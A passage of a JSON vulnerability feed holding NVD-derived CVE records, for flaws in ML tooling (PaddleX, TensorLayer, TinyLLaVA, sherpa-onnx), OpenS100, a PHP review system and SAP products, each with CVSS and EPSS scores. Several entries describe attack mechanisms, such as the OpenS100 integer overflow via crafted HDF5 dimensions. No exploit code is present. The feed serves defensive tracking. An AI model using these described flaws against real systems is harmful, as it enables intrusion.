fixes.","publishedAt":"2026-10-13T04:17:11.900Z","updatedAt":"2026-10-15T16:17:42.373Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108964","asOf":"2026-10-15T16:17:42.373Z"},"epss":{"probability":0.00263,"percentile":0.17976,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108964&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108964","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108964","type":"primary","publishedAt":"2026-10-13T04:17:11.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108964&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108964, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108962","cveId":"CVE-2026-108962","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in storyicon comfyui_segment_anything up to ab6395596399d5048639cdab7e44ec9fae857a93. Affected by this issue is the function SLConfig._file2dict of...","summary":"A vulnerability has been found in storyicon comfyui_segment_anything up to ab6395596399d5048639cdab7e44ec9fae857a93. Affected by this issue is the function SLConfig._file2dict of the file local_groundingdino/util/slconfig.py of the component GroundingDINO Model Loading. Such manipulation of the argument config leads to code injection. It is possible to launch the attack remotely. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability has been found in storyicon comfyui_segment_anything up to ab6395596399d5048639cdab7e44ec9fae857a93. Affected by this issue is the function SLConfig._file2dict of the file local_groundingdino/util/slconfig.py of the component GroundingDINO Model Loading. Such manipulation of the argument config leads to code injection. It is possible to launch the attack remotely. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T04:17:11.130Z","updatedAt":"2026-10-14T14:17:36.090Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108962","asOf":"2026-10-14T14:17:36.090Z"},"epss":{"probability":0.00297,"percentile":0.22168,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108962&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108962","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108962","type":"primary","publishedAt":"2026-10-13T04:17:11.130Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108962&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108962, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108961","cveId":"CVE-2026-108961","aliases":[],"kind":"vulnerability","title":"A flaw has been found in PaddlePaddle PaddleX up to 3.7.2. Affected by this vulnerability is the function NormalizeImage.__init__ of the file...","summary":"A flaw has been found in PaddlePaddle PaddleX up to 3.7.2. Affected by this vulnerability is the function NormalizeImage.__init__ of the file paddlex/inference/models/text_detection/processors.py of the component Preprocessor. This manipulation of the argument scale causes code injection. It is possible to initiate the attack remotely. The pull request to fix this issue awaits acceptance.","detail":"A flaw has been found in PaddlePaddle PaddleX up to 3.7.2. Affected by this vulnerability is the function NormalizeImage.__init__ of the file paddlex/inference/models/text_detection/processors.py of the component Preprocessor. This manipulation of the argument scale causes code injection. It is possible to initiate the attack remotely. The pull request to fix this issue awaits acceptance.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T04:17:10.867Z","updatedAt":"2026-10-15T16:17:42.167Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108961","asOf":"2026-10-15T16:17:42.167Z"},"epss":{"probability":0.00244,"percentile":0.15481,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108961&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108961","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108961","type":"primary","publishedAt":"2026-10-13T04:17:10.867Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108961&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108961, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108958","cveId":"CVE-2026-108958","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in TensorLayer up to 2.2.4. This affects the function load_hdf5_graph of the file tensorlayer/files/utils.py of the component HDF5 Loading.","summary":"A weakness has been identified in TensorLayer up to 2.2.4. This affects the function load_hdf5_graph of the file tensorlayer/files/utils.py of the component HDF5 Loading. Executing a manipulation of the argument model_config can lead to deserialization. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A weakness has been identified in TensorLayer up to 2.2.4. This affects the function load_hdf5_graph of the file tensorlayer/files/utils.py of the component HDF5 Loading. Executing a manipulation of the argument model_config can lead to deserialization. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T03:16:40.390Z","updatedAt":"2026-10-14T14:17:35.940Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108958","asOf":"2026-10-14T14:17:35.940Z"},"epss":{"probability":0.00259,"percentile":0.1738,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108958&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108958","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108958","type":"primary","publishedAt":"2026-10-13T03:16:40.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108958&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108958, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108957","cveId":"CVE-2026-108957","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in TinyLLaVA TinyLLaVA_Factory up to 1abc6ac5e76a68d0fd087a071b56da968e69ca9b. The impacted element is the function _load_text_config of the...","summary":"A security flaw has been discovered in TinyLLaVA TinyLLaVA_Factory up to 1abc6ac5e76a68d0fd087a071b56da968e69ca9b. The impacted element is the function _load_text_config of the file tinyllava/model/configuration_tinyllava.py of the component TinyLlavaConfig. Performing a manipulation of the argument llm_model_name_or_path results in code injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A security flaw has been discovered in TinyLLaVA TinyLLaVA_Factory up to 1abc6ac5e76a68d0fd087a071b56da968e69ca9b. The impacted element is the function _load_text_config of the file tinyllava/model/configuration_tinyllava.py of the component TinyLlavaConfig. Performing a manipulation of the argument llm_model_name_or_path results in code injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T03:16:40.193Z","updatedAt":"2026-10-15T15:17:24.527Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108957","asOf":"2026-10-15T15:17:24.527Z"},"epss":{"probability":0.00297,"percentile":0.22168,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108957&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108957","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108957","type":"primary","publishedAt":"2026-10-13T03:16:40.193Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108957&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108957, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35001","cveId":"CVE-2026-35001","aliases":[],"kind":"vulnerability","title":"OpenS100 through commit 2b1dafc contains an integer overflow vulnerability in the S-102 Bathymetric Surface parser.","summary":"OpenS100 through commit 2b1dafc contains an integer overflow vulnerability in the S-102 Bathymetric Surface parser. An attacker can supply a crafted S-102 HDF5 file with malicious grid dimension metadata that causes memory corruption when a user opens it. In the S102_VG_BathymetryCoverage::Read() function, the numPointsLatitudinal and numPointsLongitudinal values are multiplied without validation, and the 32-bit result can wrap around, producing an undersized heap buffer allocation. Subsequent writes past the end of that buffer cause a heap-based buffer overflow, leading to an application crash or potential arbitrary code execution in the context of the user who opened the file.","detail":"OpenS100 through commit 2b1dafc contains an integer overflow vulnerability in the S-102 Bathymetric Surface parser. An attacker can supply a crafted S-102 HDF5 file with malicious grid dimension metadata that causes memory corruption when a user opens it. In the S102_VG_BathymetryCoverage::Read() function, the numPointsLatitudinal and numPointsLongitudinal values are multiplied without validation, and the 32-bit result can wrap around, producing an undersized heap buffer allocation. Subsequent writes past the end of that buffer cause a heap-based buffer overflow, leading to an application crash or potential arbitrary code execution in the context of the user who opened the file.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T02:16:59.010Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35001","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.00126,"percentile":0.02274,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-35001&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-35001","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35001","type":"primary","publishedAt":"2026-10-13T02:16:59.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-35001&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-35001, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108956","cveId":"CVE-2026-108956","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in code-projects Online Reviewer System 1.0. The affected element is an unknown function of the file...","summary":"A vulnerability was identified in code-projects Online Reviewer System 1.0. The affected element is an unknown function of the file /reviewer/system/system/admins/manage/users/btn_functions.php of the component User Update Handler. Such manipulation leads to sql injection. The attack may be launched remotely. The exploit is publicly available and might be used.","detail":"A vulnerability was identified in code-projects Online Reviewer System 1.0. The affected element is an unknown function of the file /reviewer/system/system/admins/manage/users/btn_functions.php of the component User Update Handler. Such manipulation leads to sql injection. The attack may be launched remotely. The exploit is publicly available and might be used.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T02:16:57.870Z","updatedAt":"2026-10-13T14:17:24.263Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108956","asOf":"2026-10-13T14:17:24.263Z"},"epss":{"probability":0.00263,"percentile":0.17977,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108956&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108956","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108956","type":"primary","publishedAt":"2026-10-13T02:16:57.870Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108956&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108956, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108954","cveId":"CVE-2026-108954","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in k2-fsa sherpa-onnx up to 1.13.8. This issue affects the function OfflineTransducerGreedySearchDecoder::Decode of the file...","summary":"A vulnerability was found in k2-fsa sherpa-onnx up to 1.13.8. This issue affects the function OfflineTransducerGreedySearchDecoder::Decode of the file sherpa-onnx/csrc/offline-transducer-greedy-search-decoder.cc of the component Offline Transducer Greedy Search Decoder. The manipulation of the argument vocab_size results in buffer overflow. The attack can be launched remotely. The exploit has been made public and could be used. If only official model packs are used and they always keep metadata consistent with the joiner, the bug may not be reachable in normal supported usage. However, from a security and robustness standpoint, the code still contains the vulnerability because it trusts unvalidated model metadata and can be triggered by a malformed or tampered model pack.","detail":"A vulnerability was found in k2-fsa sherpa-onnx up to 1.13.8. This issue affects the function OfflineTransducerGreedySearchDecoder::Decode of the file sherpa-onnx/csrc/offline-transducer-greedy-search-decoder.cc of the component Offline Transducer Greedy Search Decoder. The manipulation of the argument vocab_size results in buffer overflow. The attack can be launched remotely. The exploit has been made public and could be used. If only official model packs are used and they always keep metadata consistent with the joiner, the bug may not be reachable in normal supported usage. However, from a security and robustness standpoint, the code still contains the vulnerability because it trusts unvalidated model metadata and can be triggered by a malformed or tampered model pack.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T02:16:57.503Z","updatedAt":"2026-10-14T14:17:35.787Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108954","asOf":"2026-10-14T14:17:35.787Z"},"epss":{"probability":0.00267,"percentile":0.18668,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108954&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108954","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108954","type":"primary","publishedAt":"2026-10-13T02:16:57.503Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108954&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108954, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89120","cveId":"CVE-2026-89120","aliases":[],"kind":"vulnerability","title":"A regression caused by an API change in SAP ABAP Platform reintroduces a previously fixed authorization weakness.","summary":"A regression caused by an API change in SAP ABAP Platform reintroduces a previously fixed authorization weakness. The session manager can be opened in single transaction mode, including from FLP. A low-privileged attacker could exploit this to bypass restrictions via specially crafted requests, resulting in high impact on integrity and low impact on confidentiality. There is no impact on availability.","detail":"A regression caused by an API change in SAP ABAP Platform reintroduces a previously fixed authorization weakness. The session manager can be opened in single transaction mode, including from FLP. A low-privileged attacker could exploit this to bypass restrictions via specially crafted requests, resulting in high impact on integrity and low impact on confidentiality. There is no impact on availability.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T01:16:48.813Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":["SAP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89120","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00237,"percentile":0.14619,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89120&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89120","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89120","type":"primary","publishedAt":"2026-10-13T01:16:48.813Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89120&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89120, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89113","cveId":"CVE-2026-89113","aliases":[],"kind":"vulnerability","title":"SAP Commerce Cloud does not sufficiently validate certain user-supplied input before it is incorporated into a database query.","summary":"SAP Commerce Cloud does not sufficiently validate certain user-supplied input before it is incorporated into a database query. An authenticated user could send specially crafted requests to affected functionality to inject arbitrary SQL commands. Successful exploitation could allow the user to read, modify or delete sensitive data from the application's database, resulting in a high impact on confidentiality, integrity and availability of the application.","detail":"SAP Commerce Cloud does not sufficiently validate certain user-supplied input before it is incorporated into a database query. An authenticated user could send specially crafted requests to affected functionality to inject arbitrary SQL commands. Successful exploitation could allow the user to read, modify or delete sensitive data from the application's database, resulting in a high impact on confidentiality, integrity and availability of the application.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T01:16:48.153Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":["SAP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89113","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00446,"percentile":0.38499,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89113&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89113","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89113","type":"primary","publishedAt":"2026-10-13T01:16:48.153Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89113&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89113, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-58249","cveId":"CVE-2026-58249","aliases":[],"kind":"vulnerability","title":"SAP NetWeaver and SAP Web Dispatcher do not 